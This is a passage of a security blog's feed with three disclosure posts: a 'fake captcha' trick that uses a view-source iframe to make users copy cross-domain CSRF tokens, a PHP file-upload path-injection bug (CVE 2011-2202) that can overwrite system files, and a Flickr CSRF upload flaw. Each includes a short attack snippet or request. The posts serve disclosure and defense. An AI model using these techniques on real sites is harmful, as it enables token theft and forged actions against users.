scheme="http://www.blogger.com/atom/ns#" term="iframe" /><title>Cross domain content extraction with fake captcha</title><content type="html">&lt;div dir="ltr" style="text-align: left;" trbidi="on"&gt;
&lt;a href="http://html5sec.org/#119"&gt;Content extraction&lt;/a&gt; is one of the recently documented UI redressing vectors. It exploits Firefox vulnerability that allows to display any URL &lt;b&gt;HTML source&lt;/b&gt; in an&lt;span style="font-family: 'Courier New', Courier, monospace;"&gt; iframe&lt;/span&gt; like this:&lt;br /&gt;
&lt;pre class="html" name="code"&gt;&amp;lt;iframe src="view-source:http://any-page-you.like/cookies-included"&amp;gt;
&lt;/pre&gt;
With social engineering attacker tricks user into selecting (usually invisible) page source and dragging it to attackers' controlled &lt;span style="font-family: 'Courier New', Courier, monospace;"&gt;textarea&lt;/span&gt;. A simple demo is &lt;a href="http://kotowicz.net/content-extraction/"&gt;here&lt;/a&gt;:&lt;br /&gt;
&lt;br /&gt;
&lt;table align="center" cellpadding="0" cellspacing="0" class="tr-caption-container" style="margin-left: auto; margin-right: auto; text-align: center;"&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td style="text-align: center;"&gt;&lt;a href="http://kotowicz.net/content-extraction/" style="margin-left: auto; margin-right: auto;"&gt;&lt;img border="0" height="244" src="http://2.bp.blogspot.com/-L51hoRGgMYQ/ThLy9zvv2QI/AAAAAAAAEwU/En0FOC0W8Q0/s320/content-extraction.jpg" width="320" /&gt;&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class="tr-caption" style="text-align: center;"&gt;Drag &amp;amp; drop other page source (cross-domain)&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;
Once attacker gets the page source dropped into his textarea, he may begin to extract contents (like session IDs, user names, anti csrf tokens etc.) and launch further attacks.&lt;br /&gt;
&lt;br /&gt;
However, this way of using the vector requires significant effort from a user and &lt;b&gt;is pretty difficult to exploit&lt;/b&gt; in real world situation (there's some clicking and dragging involved). Also, it will stop working once Mozilla &lt;a href="https://bugzilla.mozilla.org/show_bug.cgi?id=605991"&gt;disallows cross origin drag &amp;amp; dropping&lt;/a&gt;.&lt;br /&gt;
&lt;br /&gt;
I've found a neat way to do cross-origin content extraction that might be more suitable for some classes of websites. Ladies and gentleman, let me present &lt;b&gt;Fake Captcha&lt;/b&gt;:&lt;br /&gt;
&lt;a name='more'&gt;&lt;/a&gt;&lt;h2&gt;


No more drag&lt;/h2&gt;
The weak point of the 'classic' method for me was the dragging that was involved. In Firefox, once you drag something, it displays a shadow of the object at the cursor - and a whole HTML source being displayed for the user is really hard to hide. I decided to convince the user to &lt;b&gt;copy &amp;amp; paste&lt;/b&gt; the source with his clipboard instead.&lt;br /&gt;
&lt;br /&gt;
Copying &amp;amp; pasting requires four steps:&lt;br /&gt;
&lt;ol&gt;
&lt;li&gt;selecting the text to copy&lt;/li&gt;
&lt;li&gt;ctrl-c&lt;/li&gt;
&lt;li&gt;navigating to target element&lt;/li&gt;
&lt;li&gt;ctrl-v&lt;/li&gt;
&lt;/ol&gt;
Each of these steps requires user intervention. I could make a game/quiz that requires certain keypresses, but that's weak (although it &lt;a href="http://www.barracudalabs.com/wordpress/index.php/2011/05/10/facebook-is-infested-with-cut-and-paste-javascript-survey-scams/"&gt;works for Facebook users&lt;/a&gt;). Instead, I wanted it to feel natural for the user. Nothing is hidden and he just &lt;b&gt;uses the clipboard because he wants to&lt;/b&gt;.&lt;br /&gt;
&lt;h2&gt;


So, when do you use a clipboard?&lt;/h2&gt;
Well, I don't like typing. So everytime I'm forced to repeat my e-mail address in a form, I just copypaste it. I decided to go that way. What if we display longish captcha-like 'security code' for a user to retype? 16 characters or more? Some of them will skip this step altogether, some will retype, but &lt;b&gt;most will select the text and copy/paste&lt;/b&gt;.&lt;br /&gt;
&lt;br /&gt;
&lt;div class="separator" style="clear: both; text-align: center;"&gt;
&lt;a href="http://4.bp.blogspot.com/-yiaFJhc8mRM/ThMGMtC1bMI/AAAAAAAAEwY/nlIjU9tA1hM/s1600/fake-captcha1.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="107" src="http://4.bp.blogspot.com/-yiaFJhc8mRM/ThMGMtC1bMI/AAAAAAAAEwY/nlIjU9tA1hM/s320/fake-captcha1.png" width="320" /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;h2&gt;


How do you select?&lt;/h2&gt;
You can select with your mouse. In Firefox, you can also select by double / tripple clicking. My assumption is that most of the users use the clicking method to select text.&lt;br /&gt;
&lt;br /&gt;
Double click stops at word boundary, third click expands to whole paragraph (try this text). In the above example, you need three clicks to select the whole visible code. Why do we care?&lt;br /&gt;
&lt;h2&gt;


I'm framed!&lt;/h2&gt;
Because the security code input field is just precisely positioned part of the &lt;span style="font-family: 'Courier New', Courier, monospace;"&gt;view-source:&lt;/span&gt;d victim page. And by tripple clicking user selects the whole line from the page source!&lt;br /&gt;
&lt;br /&gt;
&lt;div class="separator" style="clear: both; text-align: center;"&gt;
&lt;a href="http://2.bp.blogspot.com/-UVCzknEJZsY/ThMGj2EmEYI/AAAAAAAAEwc/WEFUGLZgrIM/s1600/fake-captcha2.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="252" src="http://2.bp.blogspot.com/-UVCzknEJZsY/ThMGj2EmEYI/AAAAAAAAEwc/WEFUGLZgrIM/s320/fake-captcha2.png" width="320" /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;h2&gt;


Demo&lt;/h2&gt;
It's best to see &lt;span style="font-size: large;"&gt;&lt;a href="http://attacker.kotowicz.net/fake-captcha/"&gt;the demo&lt;/a&gt;&lt;/span&gt; to understand what's going on. We want to extract the anti-&lt;a href="https://www.owasp.org/index.php/Cross-Site_Request_Forgery_%28CSRF%29"&gt;CSRF&lt;/a&gt; token from the &lt;a href="http://victim.kotowicz.net/fake-captcha/victim.html"&gt;victim page&lt;/a&gt; cross domain. The token is in the page source, line 7:&lt;br /&gt;
&lt;pre class="brush:html;highlight:[7]" name="code"&gt;&amp;lt;!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"&amp;gt;
&amp;lt;html&amp;gt;
&amp;lt;head&amp;gt;
&amp;lt;meta http-equiv="Content-Type" content="text/html; charset=UTF-8"&amp;gt;
&amp;lt;title&amp;gt;NDCP&amp;lt;/title&amp;gt;
&amp;lt;script type="text/javascript"&amp;gt;
var csrf_token = '35fb6df6-2ab9-408b-abe3-769412a58e15';
&amp;lt;/script&amp;gt;
&amp;lt;style&amp;gt;
body {
    background: url(nuke.jpg) left top repeat;
    color: white;
    font-family: Verdana, arial, sans-serif;
}
// and so on 
&lt;/pre&gt;
&lt;br /&gt;
So we display the source in a small frame, position it to only display a few characters, starting from line 7, column 19. Then we convince the user to select the whole line with tripple click - double click will stop at minus sign, so the user will probably do the third click to select all.&lt;br /&gt;
After selecting he copies, clicks the next field and pastes. Then we're done.&lt;br /&gt;
&lt;h2&gt;


Details matter&lt;/h2&gt;
See &lt;a href="https://github.com/koto/blog-kotowicz-net-examples/tree/master/fake-captcha"&gt;the source&lt;/a&gt; to appreciate all the &lt;b&gt;small, but very important details&lt;/b&gt;, especially:&lt;br /&gt;
&lt;ul&gt;
&lt;li&gt;how to measure the font size used in &lt;span style="font-family: 'Courier New', Courier, monospace;"&gt;view-source:&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;what was &lt;span style="font-family: 'Courier New', Courier, monospace;"&gt;view-source:view-source: &lt;/span&gt;used for&lt;/li&gt;
&lt;li&gt;how to position an iframe to line / column of HTML source &lt;/li&gt;
&lt;li&gt;how the input and frame was styled to look similar&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;


How not to get owned?&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt; web developers - use &lt;a href="https://developer.mozilla.org/en/the_x-frame-options_response_header"&gt;X-Frame-Options&lt;/a&gt; header (js framebusting won't work here). Remember, once you allow your site to be framed, you're opening to a whole class of UI redressing attacks, most of the attacks are not even discovered yet, it's a new field of research. So &lt;b&gt;if you don't use X-Frame-Options, better have a really good explanation&lt;/b&gt;. &lt;/li&gt;
&lt;li&gt;users - don't use Firefox or &lt;strike&gt;look carefully on what you do&lt;/strike&gt; use &lt;a href="http://noscript.net/"&gt;NoScript&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;


Summary&lt;/h2&gt;
There's a new 'fake captcha' method of using the &lt;a href="http://html5sec.org/#119"&gt;content extraction&lt;/a&gt; UI redressing vector.&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;Pros:&lt;/b&gt;&lt;br /&gt;
&lt;ul&gt;
&lt;li&gt;does not require drag &amp;amp; dropping&lt;/li&gt;
&lt;li&gt;accounts for font-size differences&lt;/li&gt;
&lt;li&gt;more convincing for a user&lt;/li&gt;
&lt;/ul&gt;
&lt;b&gt;Cons:&lt;/b&gt;&lt;br /&gt;
&lt;ul&gt;
&lt;li&gt;won't work if user uses mouse to select text&lt;span style="font-size: x-small;"&gt; (unless attacker is interested in only the visible part)&lt;/span&gt; &lt;/li&gt;
&lt;li&gt;requires a captcha like string in victim HTML source&lt;/li&gt;
&lt;li&gt;it's line / column position must be constant and known to attacker&lt;/li&gt;
&lt;li&gt;only one line of HTML source might be copied &lt;span style="font-size: x-small;"&gt;(but websites' HTML is often minimized to a single line)&lt;/span&gt;&lt;/li&gt;
&lt;/ul&gt;
You might find the requirements very limiting. I also thought  that's simply impossible to exploit in real life. &lt;b&gt;Until I started  looking&lt;/b&gt; - wait for the &lt;a href="http://blog.kotowicz.net/2011/07/imgurcom-session-hijacking.html"&gt;next post&lt;/a&gt; :)&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;Update: &lt;/b&gt;&lt;a href="http://noscript.net/changelog"&gt;Latest NoScript (2.1.2+)&lt;/a&gt; contains code &lt;a href="http://hackademix.net/2011/07/11/fancy-clickjacking-tougher-noscript/"&gt;neutralizing fake captcha method&lt;/a&gt;. Yeat another great work of &lt;a href="http://maone.net/"&gt;Giorgio Maone&lt;/a&gt;!&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;Update 2: &lt;/b&gt;Fake CAPTCHA technique spotted in the wild to &lt;a href="http://www.net-security.org/secworld.php?id=11857"&gt;extract Facebook CSRF tokens&lt;/a&gt;.&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3650259870998252242-4380431078431102139?l=blog.kotowicz.net' alt='' /&gt;&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/TheWorldAccordingToKoto/~4/2z41bjEnSIg" height="1" width="1"/&gt;</content><link rel="replies" type="application/atom+xml" href="http://blog.kotowicz.net/feeds/4380431078431102139/comments/default" title="Post Comments" /><link rel="replies" type="text/html" href="http://www.blogger.com/comment.g?blogID=3650259870998252242&amp;postID=4380431078431102139" title="1 Comments" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/3650259870998252242/posts/default/4380431078431102139?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/3650259870998252242/posts/default/4380431078431102139?v=2" /><link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/TheWorldAccordingToKoto/~3/2z41bjEnSIg/cross-domain-content-extraction-with.html" title="Cross domain content extraction with fake captcha" /><author><name>Krzysztof Kotowicz</name><uri>https://profiles.google.com/111743409761183951147</uri><email>noreply@blogger.com</email><gd:image rel="http://schemas.google.com/g/2005#thumbnail" width="32" height="32" src="//lh4.googleusercontent.com/-ADnDC5o75NA/AAAAAAAAAAI/AAAAAAAAE1w/rnOv95ckHn4/s512-c/photo.jpg" /></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="http://2.bp.blogspot.com/-L51hoRGgMYQ/ThLy9zvv2QI/AAAAAAAAEwU/En0FOC0W8Q0/s72-c/content-extraction.jpg" height="72" width="72" /><thr:total>1</thr:total><feedburner:origLink>http://blog.kotowicz.net/2011/07/cross-domain-content-extraction-with.html</feedburner:origLink></entry><entry gd:etag="W/&quot;D0MBRX84eCp7ImA9WhZbE0Q.&quot;"><id>tag:blogger.com,1999:blog-3650259870998252242.post-4262197860562279871</id><published>2011-06-18T13:05:00.001+02:00</published><updated>2011-06-18T13:10:54.130+02:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2011-06-18T13:10:54.130+02:00</app:edited><category scheme="http://www.blogger.com/atom/ns#" term="html5" /><category scheme="http://www.blogger.com/atom/ns#" term="security" /><category scheme="http://www.blogger.com/atom/ns#" term="php" /><category scheme="http://www.blogger.com/atom/ns#" term="upload" /><title>File path injection in PHP ≤  5.3.6 file upload (CVE 2011-2202)</title><content type="html">Since the thing &lt;a href="http://www.devquotes.com/2011/06/15/php-cve-2011-2202/"&gt;went public&lt;/a&gt; before new PHP version has been released, I present full details of the &lt;a href="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2011-2202"&gt;latest PHP vulnerability&lt;/a&gt; I reported - together with some sweet demo exploit. The issue was found with fuzzing being part of my recent &lt;a href="http://blog.kotowicz.net/2011/05/invisible-arbitrary-csrf-file-upload-in.html"&gt;file&lt;/a&gt; &lt;a href="http://blog.kotowicz.net/2011/04/how-to-upload-arbitrary-file-contents.html"&gt;upload&lt;/a&gt; &lt;a href="http://blog.kotowicz.net/2011/04/how-to-make-file-server-from-your.html"&gt;research&lt;/a&gt;. &lt;span style="font-size: x-small;"&gt;And I still have some more to show in the future :)&lt;/span&gt;&lt;br /&gt;
&lt;span style="font-size: x-small;"&gt;&lt;br /&gt;
&lt;/span&gt;&lt;br /&gt;
My thanks go to &lt;a href="http://wampir.mroczna-zaloga.org/"&gt;Paweł Goleń&lt;/a&gt; who helped analyze the vulnerability.&lt;br /&gt;
&lt;h2&gt;The PHP Part&lt;/h2&gt;The whole issue is tracked as PHP bug &lt;a href="http://bugs.php.net/bug.php?id=54939"&gt;#54939&lt;/a&gt;, but the website is now down. The exemplary exploit is at &lt;a href="http://pastebin.com/1edSuSVN"&gt;pastebin&lt;/a&gt;. The nature of the bug is simple. PHP claims to &lt;b&gt;remove the path component&lt;/b&gt; from HTTP file upload forms (transferred as MIME &lt;span style="font-family: 'Courier New', Courier, monospace;"&gt;multipart/form-data&lt;/span&gt; requests), leaving only the file name given by the user agent. This is both for security, and to fix MSIE incompatibility (IE used to send full path like this: &lt;span style="font-family: 'Courier New', Courier, monospace;"&gt;c:\WINDOWS\WHATEVER\My_file.txt&lt;/span&gt;).&lt;br /&gt;
&lt;br /&gt;
However, in 2008 PHP developers made a off-by-one error, and, as a result, &lt;b&gt;if a name starts with &lt;span style="font-family: 'Courier New', Courier, monospace;"&gt;\&lt;/span&gt; or &lt;span style="font-family: 'Courier New', Courier, monospace;"&gt;/ &lt;/span&gt;and has no other (back)slashes, it's left as-is&lt;/b&gt;. So, this allows for:&lt;br /&gt;
&lt;ul style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;&lt;li&gt;/vmlinuz&lt;/li&gt;
&lt;li&gt;/autorun.inf &lt;span style="font-family: Times, 'Times New Roman', serif;"&gt;(/ will map to C:\ in WINDOWS - the drive where your PHP is run from)&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;/boot.ini&lt;/li&gt;
&lt;/ul&gt;and other interesting file "names" to pass through.&lt;br /&gt;
&lt;a name='more'&gt;&lt;/a&gt;&lt;h2&gt;The application part&lt;/h2&gt;Of course, what this means is simply that &lt;span style="font-family: 'Courier New', Courier, monospace;"&gt;$_FILES[$input_field_name]['name']&lt;/span&gt; will contain unsanitized file path - and that's not enough to complete an exploit. PHP script would need to use that filename as a destination for file writing. Unfortunately, at least a few applications do. I've found some pretty interesting examples. Among them is this &lt;a href="https://github.com/davgothic/AjaxFileUpload/blob/master/upload.php"&gt;AjaxFileUpload&lt;/a&gt; plugin. &lt;b&gt;There are more applications with the same approach - just go on looking!&lt;/b&gt; AjaxFileUpload simply passes the given file "name" to &lt;span style="font-family: 'Courier New', Courier, monospace;"&gt;move_uploaded_file(),&lt;/span&gt; which would try to create/overwrite a file in a root directory...&lt;br /&gt;
&lt;h2&gt;The set up part&lt;/h2&gt;&lt;b&gt;And that will most likely fail&lt;/b&gt;, because of insufficient permissions. Who on Earth would allow PHP to write to root? Well, default Apache installation on Windows systems is run as a SYSTEM user (a.k.a root). Also, for some shared hostings PHP is run in a chroot-ed environment, and / is the document root of a website (which allows for an easy site defacement). It's tricky, I agree, that's why this bug is v. difficult to exploit in the wild (luckily).&lt;br /&gt;
&lt;h2&gt;But it's possible! &lt;/h2&gt;&lt;iframe allowfullscreen="" frameborder="0" height="349" src="http://www.youtube.com/embed/hpsNOJq7tHM" width="425"&gt;&lt;/iframe&gt;&lt;br /&gt;
Today's Heroes:&lt;br /&gt;
&lt;ul&gt;&lt;li&gt;&lt;a href="http://www.wampserver.com/en/"&gt;WAMP&lt;/a&gt; server, newest version (PHP 5.3.5), default install&lt;/li&gt;
&lt;li&gt;PHP &amp;lt;= 5.3.6, (5.3.5 in the demo)&lt;/li&gt;
&lt;li&gt;Windows XP&lt;/li&gt;
&lt;li&gt;&lt;a href="https://github.com/davgothic/AjaxFileUpload/"&gt;AjaxFileUpload&lt;/a&gt; - A jQuery plugin that simulates asynchronous file uploads.&lt;/li&gt;
&lt;/ul&gt;In the exploit I simply show that (thanks to vulnerable set up) I can overwrite &lt;span style="font-family: 'Courier New', Courier, monospace;"&gt;c:\boot.ini&lt;/span&gt; and make the system unbootable. There are more advanced scenarios that could be done (essentially I can supply a boot record file to use on next boot), but it's not my area of expertise. To upload a file, the &lt;a href="http://blog.kotowicz.net/2011/04/how-to-upload-arbitrary-file-contents.html"&gt;HTML5 arbitrary file upload&lt;/a&gt; technique was used.&lt;br /&gt;
&lt;br /&gt;
So, &lt;a href="http://svn.php.net/viewvc?view=revision&amp;amp;revision=312103"&gt;patch your PHPs&lt;/a&gt; and bye!&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3650259870998252242-4262197860562279871?l=blog.kotowicz.net' alt='' /&gt;&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/TheWorldAccordingToKoto/~4/lkkkjO5-9kI" height="1" width="1"/&gt;</content><link rel="replies" type="application/atom+xml" href="http://blog.kotowicz.net/feeds/4262197860562279871/comments/default" title="Post Comments" /><link rel="replies" type="text/html" href="http://www.blogger.com/comment.g?blogID=3650259870998252242&amp;postID=4262197860562279871" title="7 Comments" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/3650259870998252242/posts/default/4262197860562279871?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/3650259870998252242/posts/default/4262197860562279871?v=2" /><link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/TheWorldAccordingToKoto/~3/lkkkjO5-9kI/file-path-injection-in-php-536-file.html" title="File path injection in PHP ≤  5.3.6 file upload (CVE 2011-2202)" /><author><name>Krzysztof Kotowicz</name><uri>https://profiles.google.com/111743409761183951147</uri><email>noreply@blogger.com</email><gd:image rel="http://schemas.google.com/g/2005#thumbnail" width="32" height="32" src="//lh4.googleusercontent.com/-ADnDC5o75NA/AAAAAAAAAAI/AAAAAAAAE1w/rnOv95ckHn4/s512-c/photo.jpg" /></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="http://img.youtube.com/vi/hpsNOJq7tHM/default.jpg" height="72" width="72" /><thr:total>7</thr:total><feedburner:origLink>http://blog.kotowicz.net/2011/06/file-path-injection-in-php-536-file.html</feedburner:origLink></entry><entry gd:etag="W/&quot;DkQMRX45fCp7ImA9WhZWF0k.&quot;"><id>tag:blogger.com,1999:blog-3650259870998252242.post-4583249640399384073</id><published>2011-05-18T20:43:00.001+02:00</published><updated>2011-05-18T20:46:24.024+02:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2011-05-18T20:46:24.024+02:00</app:edited><category scheme="http://www.blogger.com/atom/ns#" term="csrf" /><category scheme="http://www.blogger.com/atom/ns#" term="flickr" /><category scheme="http://www.blogger.com/atom/ns#" term="html5" /><category scheme="http://www.blogger.com/atom/ns#" term="security" /><category scheme="http://www.blogger.com/atom/ns#" term="upload" /><title>Invisible arbitrary CSRF file upload in Flickr.com</title><content type="html">&lt;h2&gt;Summary&lt;/h2&gt;Basic upload form in Flickr.com was vulnerable to&lt;a href="https://www.owasp.org/index.php/Cross-Site_Request_Forgery_%28CSRF%29"&gt; CSRF&lt;/a&gt;.&amp;nbsp;Visiting a malicious page while being logged in to Flickr.com (or using Flickr.com 'keep me signed in' feature)&lt;b&gt; allowed attacker to upload images or videos on user's behalf&lt;/b&gt;. These files could have all the visibility / privacy settings that user can set in Basic Upload form. Uploading files did not require any user intervention and/or consent.&lt;br /&gt;
&lt;br /&gt;
Described vulnerability has been &lt;b&gt;quickly fixed &lt;/b&gt;by Flickr.com team.&lt;br /&gt;
&lt;br /&gt;
The exploit is an example of using my&amp;nbsp;&lt;a href="http://blog.kotowicz.net/2011/04/how-to-upload-arbitrary-file-contents.html"&gt;HTML5 arbitrary file upload method&lt;/a&gt;.&lt;br /&gt;
&lt;h2&gt;Demo&lt;/h2&gt;&lt;iframe allowfullscreen="" frameborder="0" height="349" src="http://www.youtube.com/embed/gkA7t_LKKNk" width="560"&gt;&lt;/iframe&gt;&lt;br /&gt;
&lt;h2&gt;Vulnerability description&lt;/h2&gt;Flickr.com basic upload form displayed on&amp;nbsp;&lt;a href="http://www.flickr.com/photos/upload/basic/"&gt;http://www.flickr.com/photos/upload/basic/&lt;/a&gt;&amp;nbsp;submits a POST request with &lt;span class="Apple-style-span" style="font-family: 'Courier New',Courier,monospace;"&gt;multipart/form-data&lt;/span&gt; MIME type (standard HTTP File Upload form).&lt;br /&gt;
&lt;table align="center" cellpadding="0" cellspacing="0" class="tr-caption-container" style="margin-left: auto; margin-right: auto; text-align: center;"&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td style="text-align: center;"&gt;&lt;a href="http://4.bp.blogspot.com/-e6TcnnKWCes/TdORs8K-5_I/AAAAAAAAEtE/EjHd0nXUlEc/s1600/www.flickr.com+2011-5-18+11%253A24%253A17.png" imageanchor="1" style="margin-left: auto; margin-right: auto;"&gt;&lt;img border="0" height="278" src="http://4.bp.blogspot.com/-e6TcnnKWCes/TdORs8K-5_I/AAAAAAAAEtE/EjHd0nXUlEc/s320/www.flickr.com+2011-5-18+11%253A24%253A17.png" width="320" /&gt;&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class="tr-caption" style="text-align: center;"&gt;Basic File Upload Form&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;This request looks like this:&lt;br /&gt;
&lt;pre class="brush:text; highlight: [11,26,31]" name="code"&gt;POST /photos/upload/transfer/ HTTP/1.1
Host: up.flickr.com
User-Agent: Mozilla/5.0 (X11; U; Linux i686; pl-PL; rv:1.9.2.18pre) Gecko/20110419 Ubuntu/10.04 (lucid) Namoroka/3.6.18pre
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: pl,en-us;q=0.7,en;q=0.3
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-2,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: http://www.flickr.com/photos/upload/basic/
Cookie: BX=somecookies&amp;amp;b=3&amp;amp;s=rv; localization=en-us%3Bus%3Bpl; current_identity_provider_name=yahoo; current_identity_email=removed@example.com; cookie_session=session-id-here
Content-Type: multipart/form-data; boundary=---------------------------410405671879807276394827599
Content-Length: 29437

-----------------------------410405671879807276394827599
Content-Disposition: form-data; name="done"

1
-----------------------------410405671879807276394827599
Content-Disposition: form-data; name="complex_perms"

0
-----------------------------410405671879807276394827599
Content-Disposition: form-data; name="magic_cookie"

8b84f6a5d988b5f3a1be31c841042f41
-----------------------------410405671879807276394827599
Content-Disposition: form-data; name="file1"; filename="0011.jpg"
Content-Type: image/jpeg

[binary-data-here]
-----------------------------410405671879807276394827599
Content-Disposition: form-data; name="tags"


-----------------------------410405671879807276394827599
Content-Disposition: form-data; name="is_public_0"

1
-----------------------------410405671879807276394827599
Content-Disposition: form-data; name="safety_level"

0
-----------------------------410405671879807276394827599
Content-Disposition: form-data; name="content_type"

0
-----------------------------410405671879807276394827599
Content-Disposition: form-data; name="Submit"

UPLOAD
-----------------------------410405671879807276394827599--&lt;/pre&gt;&lt;br /&gt;
&lt;div&gt;On line 11 there are some Flickr.com cookies, there is also a &lt;span class="Apple-style-span" style="font-family: 'Courier New',Courier,monospace;"&gt;magic_cookie&lt;/span&gt; form field which looks like an anti-CSRF token. However, it was not verified properly. Changing the value or removing &lt;span class="Apple-style-span" style="font-family: 'Courier New',Courier,monospace;"&gt;magic_cookie&lt;/span&gt; field still resulted in successful file upload.&lt;br /&gt;
&lt;br /&gt;
To make things worse, Flickr.com uses persistent cookie &lt;span class="Apple-style-span" style="font-family: 'Courier New',Courier,monospace;"&gt;BX&lt;/span&gt; for 'keep me signed in' feature. Sending POST request to&amp;nbsp;&lt;span class="Apple-style-span" style="font-family: 'Courier New',Courier,monospace;"&gt;http://up.flickr.com/photos/upload/transfer/&lt;/span&gt;does not require an active session set up beforehand. If &lt;span class="Apple-style-span" style="font-family: 'Courier New',Courier,monospace;"&gt;BX&lt;/span&gt; cookie is present, Flickr.com will silently sign the user in while processing the request. Therefore&lt;b&gt; all accounts using Flickr.com 'keep me signed in' feature&lt;/b&gt; were potential targets of described attack.&lt;br /&gt;
&lt;h2&gt;Attack&lt;/h2&gt;Malicious page with this HTML code:&lt;/div&gt;&lt;pre class="html" name="code"&gt;&amp;lt;form enctype=multipart/form-data action="http://up.flickr.com/photos/upload/transfer/" method="post"&amp;gt;
&amp;lt;input type=hidden name=is_public_0 value=1&amp;gt;
&amp;lt;input type=file name=file1&amp;gt;
&amp;lt;input type="submit"&amp;gt;
&amp;lt;!-- no magic_cookie here, still works --&amp;gt;
&amp;lt;/form&amp;gt;
&lt;/pre&gt;&lt;div&gt;was able to submit a file to Flickr.com on logged in user's behalf, because the browser would attach the Flickr cookies to the request, and Flickr had no way of distinguishing it from a legitimate request (a classic CSRF vulnerability).&lt;br /&gt;
&lt;br /&gt;
Above technique required user to manually choose the file from his HDD. However, using my &lt;a href="http://blog.kotowicz.net/2011/04/how-to-upload-arbitrary-file-contents.html"&gt;HTML5 arbitrary file upload&lt;/a&gt;&amp;nbsp;method a malicious page was able to construct the raw &lt;span class="Apple-style-span" style="font-family: 'Courier New',Courier,monospace;"&gt;multipart/form-data&lt;/span&gt; request in Javascript and send it quietly &lt;b&gt;without user interaction&lt;/b&gt;. In the demo video, a button press is required, but this is only for presentational purposes. File upload can be triggered automatically on page load.&lt;br /&gt;
&lt;br /&gt;
As a result, visiting malicious page in browsers supporting &lt;a href="http://www.w3.org/TR/cors/"&gt;CORS&lt;/a&gt; requests as per specification (Firefox 4, Chrome) while using Flickr.com 'keep me signed in' feature (or having an active Flickr.com session) resulted in uploading images and videos chosen by attacker to Flickr.com photostream (with visibility settings, tags etc. chosen by the attacker).&lt;br /&gt;
&lt;br /&gt;
Exemplary exploit code is &lt;a href="https://github.com/koto/blog-kotowicz-net-examples/blob/master/crossdomain-upload/evil/flickr.html"&gt;here&lt;/a&gt;. &lt;br /&gt;
&lt;h2&gt;Fix&lt;/h2&gt;As of today, Flickr.com fixed the issue and contacted me to confirm the fix - all within a few hours since notifying, &lt;b&gt;great work guys&lt;/b&gt;! Now &lt;span style="font-family: &amp;quot;Courier New&amp;quot;,Courier,monospace;"&gt;magic_cookie&lt;/span&gt; value is checked upon processing the upload request. &lt;br /&gt;
&lt;h2&gt;Timeline&lt;/h2&gt;&lt;div style="margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px;"&gt;17.05.2011 - vulnerability discovered&lt;/div&gt;18.05.2011 - vendor notified&lt;br /&gt;
18.05.2011 - vendor responded, fix released&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3650259870998252242-4583249640399384073?l=blog.kotowicz.net' alt='' /&gt;&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/TheWorldAccordingToKoto/~4/uiSGCLULUjA" height="1" width="1"/&gt;</content><link rel="replies" type="application/atom+xml" href="http://blog.kotowicz.net/feeds/4583249640399384073/comments/default" title="Post Comments" /><link rel="replies" type="text/html" href="http://www.blogger.com/comment.g?blogID=3650259870998252242&amp;postID=4583249640399384073" title="1 Comments" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/3650259870998252242/posts/default/4583249640399384073?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/3650259870998252242/posts/default/4583249640399384073?v=2" /><link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/TheWorldAccordingToKoto/~3/uiSGCLULUjA/invisible-arbitrary-csrf-file-upload-in.html" title="Invisible arbitrary CSRF file upload in Flickr.com" /><author><name>Krzysztof Kotowicz</name><uri>https://profiles.google.com/111743409761183951147</uri><email>noreply@blogger.com</email><gd:image rel="http://schemas.google.com/g/2005#thumbnail" width="32" height="32" src="//lh4.googleusercontent.com/-ADnDC5o75NA/AAAAAAAAAAI/AAAAAAAAE1w/rnOv95ckHn4/s512-c/photo.jpg" /></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="http://img.youtube.com/vi/gkA7t_LKKNk/default.jpg" height="72" width="72" 